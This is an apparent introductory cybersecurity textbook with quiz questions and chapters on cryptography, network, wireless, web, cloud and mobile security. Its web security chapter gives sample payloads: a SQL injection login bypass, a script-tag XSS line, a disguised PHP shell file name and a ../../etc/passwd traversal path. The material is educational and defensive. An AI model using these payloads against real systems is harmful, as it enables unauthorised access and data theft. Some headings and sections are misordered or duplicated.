17. What is the difference between LAN and WAN?

18. Multiple Choice: Which device directs data packets between
networks?
a) Switch
b) Router
c) Hub
d) Bridge

19. Explain the client-server model.

20. What is an IP address? Give an example.

21. Name any two network topologies.

22. What is the main function of DNS?

23. Which protocol is used to send emails?

24. State the difference between TCP and UDP.

25. Fill in the blank: HTTP works on port number ______.

26. What is a MAC address?

27. Explain the concept of bandwidth.

28. True/False: IPv6 addresses are 64-bit in length.

29. Why is subnetting important in networking?

30. Draw and label a simple network diagram with 2 PCs and 1
router.
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Chapter 3: Security Concepts and Principles (15 Questions) 

31. What is authentication?

32. Give two examples of something you know, something you
have, and something you are (authentication factors).

33. Multiple Choice: Which of the following is an example of multi-
factor authentication?
a) Password only
b) Password + OTP
c) PIN only
d) Username only

34. Explain the difference between identification and
authorization.

35. What is non-repudiation in cybersecurity?

36. Define encryption in one sentence.

37. Which principle ensures that users have only the access they
need?

38. True/False: Hashing can be reversed to obtain the original
message.

39. Fill in the blank: A ______ is a set of rules that controls incoming
and outgoing network traffic.

40. Why is auditing important in cybersecurity?

41. What is least privilege?

42. State one advantage and one disadvantage of using biometrics.

43. What is an access control list (ACL)?

44. Short Answer: Explain confidentiality with an example.

45. Explain the principle of defense-in-depth.
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46. Define the term “cyber threat.”

47. Differentiate between internal and external threats.

48. Multiple Choice: A disgruntled employee deleting company
data is an example of:
a) Insider threat
b) Malware
c) Phishing
d) Vulnerability

49. What is social engineering?

50. Give one real-world example of a vulnerability that led to a
breach.

51. Explain the difference between zero-day and known
vulnerabilities.

52. True/False: Human error is one of the biggest causes of
security breaches.

53. What is a threat actor?

54. Name any two types of hackers.

55. What is the difference between black hat and white hat
hackers?

56. Explain the concept of an Advanced Persistent Threat (APT).

57. Fill in the blank: A ______ scan is used to identify weaknesses in
a system.

58. Short Answer: What is the difference between vulnerability and
exploit?

59. Why are IoT devices often targeted by hackers?

60. Explain why patch management is important.
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Chapter 4: Cyber Threats and Vulnerabilities (15 Questions) 
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61. What is the purpose of a firewall?

62. Multiple Choice: Which tool is used to detect suspicious
activity on a network?
a) IDS
b) VPN
c) Router
d) Switch

63. Define antivirus software.

64. What is the difference between IDS and IPS?

65. Explain the role of a SIEM system.

66. True/False: A VPN encrypts internet traffic between the user
and the destination.

67. What is penetration testing?

68. Fill in the blank: A ______ is a secure method for remote login to
systems.

69. List two advantages of using a proxy server.

70. What is digital forensics?

71. Explain honeypots in cybersecurity.

72. What is the difference between symmetric and asymmetric
encryption?

73. Name one commonly used security framework or standard.

74. What is endpoint protection?

75. State one limitation of using only antivirus as defense.

Chapter 6: Malware and Cyber Attacks (25 Questions) 

76. Define malware.

77. Differentiate between viruses and worms.

Chapter 5: Security Tools and Defenses (15 Questions) 
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78. Multiple Choice: Ransomware typically:
a) Encrypts files
b) Steals money directly from banks
c) Monitors keystrokes
d) Deletes operating systems instantly

79. Give an example of a famous ransomware attack.

80. What is a Trojan horse?

81. Define spyware.

82. Explain what a botnet is.

83. True/False: Worms require user action to spread.

84. Fill in the blank: The 2010 malware attack targeting Iran’s
nuclear facilities was called ______.

85. What is the difference between adware and spyware?

86. Explain how phishing works.

87. What is spear phishing?

88. What is a Denial-of-Service attack?

89. Multiple Choice: A zero-day exploit means:
a) The exploit is patched within one day
b) The vulnerability is unknown to the vendor
c) It only lasts 24 hours
d) It cannot be fixed

90. Explain SQL Injection in simple terms.

91. What is cross-site scripting (XSS)?

92. Define “payload” in the context of malware.

93. What is a rootkit?

94. Give one example of a famous botnet.

95. What is the lifecycle of a cyber attack? (Name main stages)

96. True/False: Fileless malware can exist only in RAM.
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97. What is the role of Command and Control (C2) servers in
attacks?

98. Why are humans often called the “weakest link” in
cybersecurity?

99. Explain the concept of ransomware double extortion.

100. Suggest two best practices to defend against malware.

101. Differentiate between symmetric and asymmetric encryption
with examples.

102. Explain the difference between white-hat, black-hat, and grey-
hat hackers.

103. What are the key differences between phishing and spear-
phishing?

104. Describe the concept of “Zero Trust Security” and why it’s
important.

105. List and explain any three layers of the OSI model relevant to
cybersecurity.

106. What are cookies in web browsers, and how can they pose
security risks?

107. Describe the working of a VPN and its role in securing online
communications.

108. What is a brute-force attack, and how can it be prevented?
109. Explain the concept of digital signatures and their role in data

integrity.
110. Discuss the importance of incident response plans in an

organization.
111. What is social engineering, and why is it often more effective

than technical attacks?
112. Define denial-of-service (DoS) and distributed denial-of-

service (DDoS) attacks with examples.
113. What are digital certificates, and how do they help in securing

communications?
114. Explain the role of penetration testing in strengthening an

organization’s cybersecurity posture.
115. What are supply chain attacks, and why are they becoming a

major concern in cybersecurity?
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Chapter 7: Cryptography and Data Protection 
In today’s interconnected world, data flows constantly through networks, 
cloud services, and devices. Protecting this data is no longer optional—it’s 
critical. Cryptography and data protection provide the foundation to defend 
against cyber threats, ensuring that information remains confidential, 
intact, and verifiable. 

7.1 The Foundations of Cryptography 

Cryptography is the science of encoding and securing information. At its 
core, cryptography transforms readable data (plaintext) into an unreadable 
form (ciphertext) using mathematical algorithms. Its primary goals are: 

1. Confidentiality – Preventing unauthorized access.

2. Integrity – Detecting tampering or alterations.

3. Authentication – Ensuring identities of entities.

4. Non-repudiation – Preventing denial of actions or communications.

Cryptography relies heavily on mathematics, particularly number theory, 
prime factorization, discrete logarithms, and modular arithmetic. These 
form the backbone of modern cryptosystems. 

7.2 Types of Cryptography 

7.2.1 Symmetric Key Cryptography 

• Concept: Uses the same key for encryption and decryption.

• Advantages: Fast and efficient; ideal for large datasets.

• Disadvantages: Key distribution is a major challenge—both sender
and receiver must securely share the key.

• Common Algorithms:
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o AES (Advanced Encryption Standard): Supports 128, 192, and
256-bit keys. Highly secure and widely used for government
and enterprise data.

o DES / 3DES: Older standard, less secure today due to short key
lengths.

o Blowfish / Twofish: Alternative symmetric ciphers, efficient for
software implementations.

Example Workflow: 

1. Alice generates a secret key.

2. She encrypts the message using AES.

3. Bob decrypts the ciphertext with the same key.

4. If the key is intercepted, confidentiality is lost—highlighting the
importance of secure key exchange.

7.2.2 Asymmetric Key Cryptography 

• Concept: Uses a public key for encryption and a private key for
decryption.

• Advantages: Solves the key distribution problem. Only the private
key must be kept secret.

• Disadvantages: Slower than symmetric algorithms; computationally
intensive.

• Common Algorithms:

o RSA (Rivest–Shamir–Adleman): Security based on prime
factorization.

o ECC (Elliptic Curve Cryptography): Security with smaller
keys, efficient for mobile and IoT devices.

o DSA (Digital Signature Algorithm): Primarily used for
authentication and non-repudiation.

Pg.51 www.technoglobe.co.in



Practical Use Case: Secure messaging applications like Signal use a 
combination of asymmetric cryptography (for key exchange) and symmetric 
cryptography (for message encryption). 

7.2.3 Hash Functions 

• Purpose: Produce a fixed-length string (hash) from input data;
designed to be irreversible.

• Properties:

1. Deterministic: Same input always produces the same hash.

2. Irreversible: Cannot recover original data from hash.

3. Collision-resistant: Two different inputs should not produce
the same hash.

• Popular Hash Algorithms: MD5 (deprecated), SHA-1 (deprecated),
SHA-256, SHA-3.

• Applications: Password storage, integrity verification, blockchain.

7.3 Data Protection Techniques 

Cryptography alone is not enough; data protection involves a combination 
of strategies. 

7.3.1 Encryption at Rest 

• Protects stored data on disks, databases, or cloud services.

• Examples: AES-encrypted database, full disk encryption (BitLocker,
FileVault).

7.3.2 Encryption in Transit 

• Secures data while it moves through networks.

• Protocols: TLS/SSL, HTTPS, SFTP, VPN tunnels.

7.3.3 Digital Signatures 
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• Ensures authenticity and integrity.

• Combines hashing and asymmetric cryptography.

• Use Case: Software signing prevents malware distribution.

7.3.4 Key Management 

• Central to any cryptographic system.

• Best Practices:

o Rotate keys regularly.

o Use hardware security modules (HSMs).

o Avoid storing keys in plaintext.

7.3.5 Multi-factor Encryption 

• Combines several cryptographic layers (e.g., disk encryption + file-
level encryption + secure cloud storage).

• Provides defense-in-depth, reducing single points of failure.

7.4 Modern Cryptography Challenges 

1. Quantum Computing Threats
Algorithms like RSA and ECC may become vulnerable to quantum
attacks (Shor’s algorithm). Post-quantum cryptography (lattice-
based, code-based) is under research.

2. Side-Channel Attacks
Attackers exploit implementation flaws, not the algorithm itself, e.g.,
power analysis or timing attacks.

3. Key Leakage
Poor key management remains the most common failure in
cryptography.

Pg.53 www.technoglobe.co.in



Scenario: You want to securely store user passwords. 

1. Use a strong hash function (e.g., SHA-256).

2. Apply salt (random value) to each password before hashing.

3. Store only the salted hash.

4. During login, hash the input password with the same salt and
compare with stored hash.

This prevents attackers from easily reversing the passwords, even if the 
database is breached. 

7.6 Emerging Trends in Data Protection 

1. Homomorphic Encryption – Allows computation on encrypted data
without decryption.

2. Zero-Knowledge Proofs – Verify information without revealing it.

3. Blockchain for Integrity – Ensures tamper-proof records in
decentralized systems.

4. Privacy-Enhancing Computation – Combines encryption,
anonymization, and secure computation to protect sensitive data in
AI and analytics.

7.7 Key Takeaways 

• Cryptography is the foundation of data protection but must be
combined with proper practices and management.

• Symmetric, asymmetric, and hashing algorithms each serve specific
purposes.

• Modern threats like quantum computing and side-channel attacks
require forward-looking strategies.

• Strong data protection involves encryption at rest, in transit, digital
signatures, and secure key management.

7.5 Practical Implementation Example 
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Chapter 8: Network Security 

8.1 Introduction to Network Security 

Network security is one of the most critical aspects of modern 
cybersecurity. It involves protecting the infrastructure, communication 
channels, devices, and services that make up a network. Without security, 
malicious actors can eavesdrop on communications, disrupt services, or 
steal sensitive information. 

From home Wi-Fi networks to global corporate infrastructures, security 
is necessary to ensure smooth and safe digital operations. Organizations 
also need to comply with regulations such as GDPR, HIPAA, and PCI-DSS, 
which mandate secure handling of data in transit. 
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8.2 Goals of Network Security 

1. Confidentiality – Prevent unauthorized disclosure of data.

o Example: Using encryption (SSL/TLS) to secure online banking
sessions.

2. Integrity – Ensure data is not altered during transmission.

o Example: Using hash functions and checksums to verify file
downloads.

3. Availability – Keep services accessible to authorized users.

o Example: Using load balancers and DDoS protection to
prevent downtime.

4. Authentication – Validate user and device identities.

o Example: Implementing two-factor authentication (2FA) for
VPN logins.

5. Non-repudiation – Provide proof of actions or communications.

o Example: Digital signatures in secure email communication.

8.3 Common Network Threats 

• Eavesdropping (Sniffing): Attackers capture unencrypted traffic
using tools like Wireshark.

• IP Spoofing: Pretending to be another device by faking IP addresses.

• ARP Spoofing: Redirecting traffic by sending false ARP messages on
LANs.

• Man-in-the-Middle (MITM): Intercepting communications between
two parties.

• Denial-of-Service (DoS/DDoS): Flooding a target system with traffic
to overload it.

• Session Hijacking: Taking over an authenticated user’s session.
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• Rogue Access Points: Unauthorized Wi-Fi hotspots tricking users to
connect.

• Insider Threats: Employees misusing their access privileges.

8.4 Network Security Devices and Tools 

1. Firewalls

• Control the flow of traffic between trusted and untrusted networks.

• Can be hardware-based (Cisco ASA, Palo Alto) or software-based
(iptables, Windows Firewall).

• Types:

o Packet-Filtering Firewall – Filters based on IP, port, protocol.

o Stateful Inspection Firewall – Tracks the state of connections.

o Next-Generation Firewall (NGFW) – Includes intrusion
prevention, application awareness, and deep packet
inspection.

2. Intrusion Detection and Prevention Systems (IDS/IPS)

• IDS: Detects suspicious activity and raises alerts.

• IPS: Detects and actively blocks malicious activity.

• Tools: Snort, Suricata, Cisco FirePOWER.

3. Virtual Private Networks (VPNs)

• Encrypt traffic between devices and networks.

• Types:

o Remote Access VPN – For employees working from home.

o Site-to-Site VPN – Connects two office networks securely.

• Protocols: IPSec, SSL VPN, OpenVPN.

4. Network Access Control (NAC)
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• Ensures that only authenticated, compliant devices can connect.

• Example: Preventing an unpatched laptop from connecting to the
corporate LAN.

5. Proxy Servers

• Act as intermediaries between clients and the internet.

• Uses: Content filtering, caching, anonymity.

8.5 Security Protocols in Networking 

• SSL/TLS (Secure Sockets Layer/Transport Layer Security): Used
for HTTPS, email, VoIP.

• IPSec (Internet Protocol Security): Secures IP packets for VPNs.

• SSH (Secure Shell): Provides secure remote access to servers.

• WPA3 (Wi-Fi Protected Access 3): Latest Wi-Fi encryption standard,
stronger than WPA2.

• RADIUS/TACACS+: Authentication protocols for network devices.

8.6 Best Practices for Network Security 

1. Defense in Depth – Use multiple layers of protection (firewalls + IDS
+ VPN).

2. Patch Management – Regularly update routers, switches, and
servers.

3. Access Control – Apply the principle of least privilege.

4. Segmentation – Divide networks into VLANs to contain attacks.

5. Monitoring & Logging – Use SIEM tools (Splunk, ELK Stack) to
analyze traffic.

6. Incident Response – Have a clear playbook for DDoS, malware, or
insider threats.
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7. User Awareness Training – Teach staff to recognize phishing and
unsafe practices.

8.7 Real-World Case Study: The Mirai Botnet Attack (2016) 

In 2016, the Mirai Botnet infected thousands of IoT devices such as 
cameras and routers, turning them into an army of bots. The botnet 
launched a massive DDoS attack against DNS provider Dyn, which 
disrupted major websites including Twitter, Netflix, GitHub, and Reddit. 

Lesson Learned: Weak passwords and unsecured IoT devices can 
compromise even the strongest network defenses. 

8.8 Network Security Architecture Example 

A secure enterprise network typically includes: 

• Perimeter Firewall – Filtering external traffic.

• DMZ (Demilitarized Zone) – Hosting public servers (web, mail).

• Internal Firewalls – Separating sensitive zones (finance, HR).

• IDS/IPS Systems – Monitoring suspicious activities.

• VPN Gateways – Secure access for remote employees.

• Network Monitoring Tools – Collecting logs and analyzing
anomalies.

8.9 Summary 

Network security is the first line of defense in cybersecurity. By 
understanding threats, deploying the right tools (firewalls, IDS/IPS, VPNs), 
applying best practices, and staying proactive, organizations can build 
resilient and secure networks. 
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Chapter 9: Wireless Security 

9.1 Introduction 

Wireless networks have revolutionized the way we connect, from home Wi-
Fi to large-scale enterprise wireless infrastructures. But with convenience 
comes risk. Unlike wired networks, wireless signals travel through the air, 
making them more vulnerable to eavesdropping, unauthorized access, 
and interference. 

9.2 Why Wireless Security Matters 

• Open Airwaves: Attackers don’t need physical access—just
proximity.

• IoT Devices: Many are poorly secured and can be entry points.

• BYOD Policies: Employees bring their own devices, creating risks.

• Public Wi-Fi: Airports, cafés, and hotels often lack strong security.
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9.3 Common Wireless Threats 

1. Eavesdropping: Attackers use sniffing tools to capture unencrypted
traffic.

2. Rogue Access Points: Unauthorized Wi-Fi hotspots created to trick
users.

3. Evil Twin Attacks: Malicious APs mimic legitimate Wi-Fi to steal
credentials.

4. Wi-Fi Jamming/Denial of Service: Attackers flood wireless
frequencies with noise.

5. Man-in-the-Middle (MITM): Intercepting communication between
devices.

6. WEP Cracking: Exploiting outdated encryption protocols like WEP.

7. Bluetooth Attacks (Bluejacking, Bluesnarfing): Exploiting short-
range wireless.

9.4 Wireless Security Standards 

• WEP (Wired Equivalent Privacy): Weak and outdated—easily
cracked.

• WPA (Wi-Fi Protected Access): Introduced TKIP encryption; stronger
than WEP.

• WPA2: Uses AES encryption; widely used but vulnerable to KRACK
attacks.

• WPA3: Latest standard with improved security, resistant to brute-
force.

9.5 Securing Wireless Networks 

1. Strong Encryption: Always use WPA3 or at least WPA2 with AES.

Pg.61 www.technoglobe.co.in



2. Disable WPS (Wi-Fi Protected Setup): Vulnerable to brute-force PIN
attacks.

3. Use Hidden SSIDs and MAC Filtering: Adds another layer of
obscurity.

4. Regular Firmware Updates: Patch vulnerabilities in routers and APs.

5. Segmentation: Keep guest Wi-Fi separate from corporate networks.

6. Two-Factor Authentication: Enforce 2FA for enterprise Wi-Fi logins.

7. VPN Use: Secure communication on public Wi-Fi networks.

9.5 Securing Wireless Networks 

1. Strong Encryption: Always use WPA3 or at least WPA2 with AES.

2. Disable WPS (Wi-Fi Protected Setup): Vulnerable to brute-force PIN
attacks.

3. Use Hidden SSIDs and MAC Filtering: Adds another layer of
obscurity.

4. Regular Firmware Updates: Patch vulnerabilities in routers and APs.

5. Segmentation: Keep guest Wi-Fi separate from corporate networks.

6. Two-Factor Authentication: Enforce 2FA for enterprise Wi-Fi logins.

7. VPN Use: Secure communication on public Wi-Fi networks.

9.7 Best Practices for Enterprises 

• Implement 802.1X authentication with RADIUS.

• Use certificate-based authentication instead of pre-shared keys.

• Deploy wireless intrusion prevention systems (WIPS).

• Conduct regular penetration testing and audits of wireless
networks.
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• Train employees about risks of connecting to unknown Wi-Fi
networks.

9.8 Case Study: The Marriott Wi-Fi Breach 

In 2014, attackers compromised Marriott’s Wi-Fi network, stealing guest 
information and monitoring internet traffic. The lack of segmentation and 
poor encryption made it easier for attackers. 

Lesson: Even global organizations can suffer if wireless networks are not 
properly secured. 

9.9 Summary 

Wireless security is crucial because signals are broadcast openly, making 
them an easy target for hackers. By using strong encryption standards 
(WPA3), disabling insecure features, and adopting enterprise-grade 
protections, individuals and organizations can minimize wireless threats. 
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Chapter 10: Web Security 

10.1 Introduction 

Web applications are everywhere: online banking, social media, shopping 
platforms, e-learning systems, and government portals. However, because 
web apps are public-facing and accessible worldwide, they are among the 
most common targets for cyberattacks. 

A single vulnerability in a web application can expose millions of user 
records, cause reputational damage, and lead to severe financial losses. 
This is why web security has become a cornerstone of cybersecurity. 

10.2 Why Web Security is Critical 

1. Data Sensitivity: Websites often process credit card information,
health records, and personal data.

2. Uptime and Reliability: Downtime due to attacks like DDoS leads to
financial loss.

3. Legal Compliance: Laws such as GDPR, PCI DSS, HIPAA mandate
secure handling of web data.

4. Reputation: A single breach can permanently damage customer
trust.

10.3 Common Web Threats (with Examples) 

1. SQL Injection (SQLi)

• Attackers inject SQL commands into input fields (e.g., login forms) to
manipulate the backend database.

Example: 

 Username: ' OR '1'='1 

  Password: [blank] 
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This tricks the system into bypassing authentication. 

Famous Case: In 2008, Heartland Payment Systems suffered a breach 
due to SQL injection, affecting 100 million credit cards. 

2. Cross-Site Scripting (XSS)

• Attackers inject malicious JavaScript into web pages.

• Example:

• <script>alert('Hacked!');</script>

o Stored XSS: Code saved in a database and shown to all users.

o Reflected XSS: Code executed via a crafted URL.

• Impact: Stealing cookies, hijacking sessions, or redirecting users.

3. Cross-Site Request Forgery (CSRF)

• Tricking users into making unwanted requests while logged in.

• Example: A hidden form on a malicious website forces users to
transfer money once they click.

4. Clickjacking

• Users are tricked into clicking invisible buttons.

• Example: An invisible “Buy” button overlaid on a video player.

5. File Upload Exploits

• Attackers upload a malicious file (e.g., a PHP shell) disguised as an
image.

• Example: shell.php.jpg could execute code on the server.
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6. Directory Traversal

• Attackers manipulate paths to access restricted files.

• Example: ../../etc/passwd reveals Linux password files.

. Denial-of-Service (DoS/DDoS) on Websites 

• Overwhelming web servers with massive traffic.

• Example: The GitHub DDoS attack in 2018 peaked at 1.35 Tbps.

8. Phishing Websites

• Fake sites imitate real ones to steal credentials.

• Example: A fake PayPal login page designed to capture usernames
and passwords.

10.4 Web Security Mechanisms 

1. Input Validation & Sanitization

o Prevents SQLi and XSS by cleaning user inputs.

o Use prepared statements and parameterized queries.

2. Authentication & Session Management

o Use secure session IDs, timeouts, and multi-factor
authentication (MFA).

o Prevent session fixation attacks.

3. Encryption with HTTPS

o SSL/TLS ensures confidentiality of traffic.

o Certificates from trusted authorities verify authenticity.

4. Web Application Firewalls (WAFs)

o Filter malicious traffic before it reaches the web server.
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o Cloud-based WAFs: Cloudflare, AWS WAF.

5. Content Security Policy (CSP)

o Restricts which scripts can run on a website.

o Example: Only allow scripts from the same domain.

6. Secure Cookies & SameSite Attribute

o Prevents cookie theft and CSRF.

o Example:
o Set-Cookie: sessionid=xyz; HttpOnly; Secure; SameSite=Strict

10.5 Web Security Best Practices 

• Patch regularly: Update CMS (WordPress, Joomla), plugins, and
libraries.

• Use rate limiting: Prevent brute-force login attempts.

• Principle of Least Privilege: Database users should only have
necessary permissions.

• Error handling: Don’t reveal database errors to users.

• Log monitoring: Detect unusual patterns (e.g., repeated failed
logins).

• Regular penetration testing: Identify vulnerabilities before attackers
do.

10.6 Web Security Tools 

• Burp Suite: Advanced web vulnerability testing.

• OWASP ZAP: Free scanner for developers.

• Nikto: Scans for outdated software and misconfigurations.

• Acunetix / Nessus: Automated vulnerability scanning.

• ModSecurity (WAF): Open-source web firewall.
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10.7 OWASP Top 10 (2021 Edition) 

1. Broken Access Control

2. Cryptographic Failures

3. Injection (SQLi, LDAPi)

4. Insecure Design

5. Security Misconfiguration

6. Vulnerable and Outdated Components

7. Identification and Authentication Failures

8. Software and Data Integrity Failures

9. Security Logging and Monitoring Failures

10. Server-Side Request Forgery (SSRF)

10.8 Real-World Case Studies 

1. Equifax Breach (2017):

o Cause: Unpatched Apache Struts vulnerability.

o Impact: 147 million personal records exposed.

2. Yahoo Breach (2013–2014):

o Cause: Web app security failures.

o Impact: 3 billion accounts compromised.

3. British Airways Breach (2018):

o Cause: Malicious script injected into payment page.

o Impact: 380,000 customer payment details stolen.

10.9 Web Security Architecture (Conceptual Diagram) 

A secure web application typically includes: 
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• WAF in front of the web server.

• DMZ to isolate public-facing services.

• Database firewalls behind the application server.

• SSL/TLS termination points for encrypted traffic.

• Logging and monitoring via SIEM.

10.10 Summary 

Web security is not optional—it’s a core requirement. Attackers exploit 
poorly coded apps, unpatched systems, and weak configurations to steal 
data and cause damage. By adopting secure coding practices, using 
HTTPS, deploying WAFs, and following OWASP Top 10 guidelines, 
developers and organizations can significantly reduce risks. 

Pg.69 www.technoglobe.co.in



Chapter 11: Cloud Security 

11.1 Introduction 

Cloud computing has transformed the way organizations store, process, 
and manage data. Instead of relying solely on on-premises infrastructure, 
businesses now use cloud services such as Amazon Web Services 
(AWS), Microsoft Azure, and Google Cloud Platform (GCP). 

While the cloud offers scalability, flexibility, and cost efficiency, it also 
brings new security challenges. Unlike traditional IT, cloud systems are 
built on shared responsibility between the cloud provider and the 
customer. Misconfigurations, data breaches, and insecure APIs have 
made cloud security one of the most critical areas of modern 
cybersecurity. 

11.2 Why Cloud Security is Important 

1. Data Privacy: Sensitive data (financial records, medical data,
intellectual property) is often stored in the cloud.

2. Regulatory Compliance: Industries must comply with GDPR,
HIPAA, PCI DSS, ISO 27001.

3. Always-Online Nature: Cloud services are exposed to the internet,
making them prime hacker targets.

4. Multi-Tenancy Risks: Multiple organizations share the same cloud
resources, which increases attack surfaces.

5. Cost of Breaches: A cloud misconfiguration can expose millions of
records at once.

11.3 The Cloud Service Models 

1. Infrastructure as a Service (IaaS):
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o Example: AWS EC2, Azure VM.

o Customers manage OS, apps, and data, while the provider
secures hardware.

2. Platform as a Service (PaaS):

o Example: Google App Engine, AWS Lambda.

o Customers manage applications, while the provider manages
servers and OS.

3. Software as a Service (SaaS):

o Example: Gmail, Office 365, Dropbox.

o Provider manages everything, customers just use the
application.

11.4 Cloud Deployment Models 

1. Public Cloud: Shared across multiple tenants (AWS, Azure, GCP).

2. Private Cloud: Exclusive to one organization, often on-premises.

3. Hybrid Cloud: Combination of private and public cloud.

4. Community Cloud: Shared by organizations with similar needs (e.g.,
healthcare consortia).

11.5 Key Cloud Security Threats 

1. Data Breaches

• Unsecured databases (e.g., AWS S3 buckets) often get exposed.

• Case: In 2019, Capital One exposed data of 100 million users due to
AWS misconfiguration.

2. Misconfigured Cloud Services

• Default permissions or open storage buckets.

Pg.71 www.technoglobe.co.in



• Example: Publicly exposed cloud storage leading to leaks.

3. Insecure APIs

• Weak or poorly designed APIs allow attackers to bypass
authentication.

• Example: Exploiting cloud API keys to access sensitive data.

4. Account Hijacking

• Stolen credentials allow attackers to take control of cloud accounts.

• Often due to phishing or weak password practices.

5. Denial-of-Service (DoS/DDoS)

• Attackers overload cloud servers, causing service outages

6. Insider Threats

• Employees or contractors with cloud access misuse privileges.

7. Shared Technology Vulnerabilities

• Attacks exploiting hypervisors or virtualization in multi-tenant
environments.

11.6 Cloud Security Mechanisms 

1. Identity and Access Management (IAM):

o Role-based access control (RBAC).

o Least privilege principle.

o Example: AWS IAM policies to restrict actions.

2. Data Encryption:

o Encrypt at rest (storage) and in transit (network).

o Use Key Management Systems (KMS).

3. Cloud Firewalls & Security Groups:

o Restrict network access using inbound/outbound rules.
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4. Multi-Factor Authentication (MFA):

o Prevent account hijacking.

5. Logging & Monitoring:

o AWS CloudTrail, Azure Security Center, GCP Security
Command Center.

6. Backup & Disaster Recovery:

o Regular data snapshots and geo-redundant storage.

7. Patch Management:

o Keep virtual machines and applications updated.

11.7 Cloud Security Tools 

• Cloud Security Posture Management (CSPM): Prisma Cloud,
Check Point Dome9.

• Cloud Workload Protection Platforms (CWPP): Trend Micro,
McAfee.

• SIEM Integration: Splunk, IBM QRadar for cloud logs.

• WAF in Cloud: AWS WAF, Cloudflare.

11.8 Cloud Security Best Practices 

• Use Zero Trust Architecture – verify every access request.

• Disable unused ports and services.

• Avoid hardcoding API keys in code.

• Rotate credentials regularly.

• Monitor cloud billing spikes (sign of cryptojacking).

• Train employees on phishing prevention.
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11.9 Real-World Cloud Security Incidents 

1. Capital One (2019):

o Misconfigured AWS S3 bucket.

o Data of 100 million customers exposed.

2. Microsoft Power Apps (2021):

o 38 million records exposed due to misconfigured settings.

3. Tesla (2018):

o Hackers hijacked Tesla’s AWS account to run cryptomining
malware.

11.10 Shared Responsibility Model (Diagram Explanation) 

• Cloud Provider: Responsible for securing infrastructure (hardware,
hypervisor, storage).

• Customer: Responsible for securing applications, data, and access
management.

• Example: AWS secures the servers, but you must configure your S3
bucket properly.

11.11 Compliance in Cloud Security 

• GDPR: Protect EU citizens’ data.

• HIPAA: Secure patient health data.

• PCI DSS: Secure credit card data in the cloud.

• ISO/IEC 27017 & 27018: Guidelines for cloud security and privacy.

11.12 Future of Cloud Security 

• AI and ML in Security: Detect anomalies in cloud traffic.
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• Confidential Computing: Protect data even while it’s being
processed.

• Serverless Security: Securing AWS Lambda and Azure Functions.

• Quantum Computing Risks: Stronger encryption will be required.

11.13 Summary 

Cloud security is not just the provider’s job—it is a shared responsibility. 
Misconfigurations, insider threats, and insecure APIs are the biggest risks. 
With proper IAM, encryption, monitoring, and compliance, cloud systems 
can be more secure than traditional IT environments. 

Pg.75 www.technoglobe.co.in



Chapter 12: Mobile Security 

12.1 Introduction 

In today’s world, smartphones and tablets have become extensions of our 
personal and professional lives. They store sensitive information such as 
emails, banking credentials, corporate data, photos, location history, 
and even biometric identifiers. 

Because mobile devices are always connected to the internet and often 
used on public Wi-Fi, they are prime targets for attackers. Mobile security 
is about protecting mobile devices, applications, and the data they 
process against threats like malware, phishing, data leakage, and 
unauthorized access. 

12.2 Why Mobile Security Matters 

1. Personal Data Storage: Photos, messages, location, and financial
details.

2. Workplace Access (BYOD – Bring Your Own Device): Employees
often use personal devices for work, creating new risks.

3. Always Connected: Mobile devices are constantly online, increasing
exposure.

4. Weak User Awareness: Many users neglect updates, install
unverified apps, or use weak PINs.

5. Rapid Growth of Mobile Malware: Mobile malware has risen
sharply, especially on Android.

12.3 Common Mobile Security Threats 

1. Malware & Spyware

• Apps that secretly monitor user activity.
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• Example: Pegasus spyware exploited iOS and Android to steal
messages, calls, and camera data.

2. Phishing & Smishing

• Phishing links sent via SMS (smishing), email, or instant messaging.

• Example: A fake banking SMS asking users to log in to a fraudulent
site.

3. Malicious Apps

• Fake apps in app stores that steal data.

• Example: Joker malware disguised as Android apps to steal SMS and
billing details.

4. Unsecured Wi-Fi & Man-in-the-Middle (MITM) Attacks

• Attackers intercept traffic on public Wi-Fi.

• Example: Fake hotspots in airports stealing login credentials.

5. Bluetooth Attacks

• Exploits like BlueBorne allow attackers to control devices via
Bluetooth.

6. SIM Swapping

• Attackers trick telecom providers into reissuing a SIM card to gain
access to banking OTPs.

7. Rooting and Jailbreaking

• Users remove manufacturer restrictions, exposing devices to
unverified apps and malware.

8. Data Leakage from Apps

• Apps requesting unnecessary permissions (contacts, camera,
location) and misusing them.

9. Device Theft & Physical Security
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• Lost or stolen devices may contain unencrypted sensitive data.

12.4 Mobile Security Mechanisms 

1. Authentication & Access Control

o Strong PINs, passwords, biometrics (fingerprint, Face ID).

o Multi-Factor Authentication (MFA).

2. Encryption

o Full-disk encryption protects data at rest.

o End-to-end encrypted apps (e.g., WhatsApp, Signal).

3. Application Security

o Install apps only from trusted stores (Google Play, Apple App
Store).

o Mobile Application Management (MAM) for enterprises.

4. Secure Network Usage

o Use VPNs when on public Wi-Fi.

o Disable Bluetooth and NFC when not needed.

5. Regular Updates & Patching

o Keep OS and apps up to date to fix vulnerabilities.

6. Mobile Device Management (MDM)

o Tools like Microsoft Intune, VMware AirWatch to secure
enterprise devices.

o Enforce encryption, remote wipe, app whitelisting.

12.5 Mobile Security Best Practices for Users 

• Use strong passcodes (not birthdays or “1234”).

• Enable biometric authentication where possible.

• Do not root or jailbreak devices.

• Review app permissions regularly.
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• Avoid clicking unknown SMS or email links.

• Always install security updates immediately.

• Enable remote wipe (Find My iPhone, Android Device Manager).

12.6 Enterprise Mobile Security (BYOD Challenges) 

• Data Separation: Keep corporate data isolated from personal apps.

• App Wrapping & Containerization: Run work apps in secure
containers.

• Remote Monitoring: Detect compromised or outdated devices.

• Policy Enforcement: Control camera, USB, and file sharing features.

12.7 Mobile Security Tools 

• Lookout Mobile Security: Malware and phishing detection.

• Kaspersky Mobile Security / Avast Mobile Security: Antivirus for
mobile.

• Zimperium zIPS: Advanced enterprise mobile threat defense.

• Jamf / Intune / AirWatch: MDM solutions for enterprises.

• Wireshark (on mobile traffic): For analyzing suspicious mobile
network behavior.

12.8 Real-World Mobile Security Incidents 

1. Pegasus Spyware (2016–2021):

o A powerful spyware targeting iOS & Android.

o Could read messages, track calls, and activate cameras.

2. Stagefright Vulnerability (2015):

o Android bug allowed attackers to compromise devices with just
a malicious MMS.
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3. WhatsApp Hack (2019):

o Attackers used a missed call exploit to install spyware on
devices.

12.9 Mobile Security and Emerging Trends 

• 5G Security Risks: Faster speeds mean more IoT devices and more
attack surfaces.

• Biometric Advancements: Iris scans, voice recognition for stronger
authentication.

• AI in Mobile Security: Detecting unusual patterns in mobile traffic.

• Zero Trust Mobile Security: Verifying every app, network, and device
continuously.

12.10 Mobile Security Architecture (Conceptual Layout) 

A secure mobile environment includes: 

• Device Layer: Secure boot, encryption.

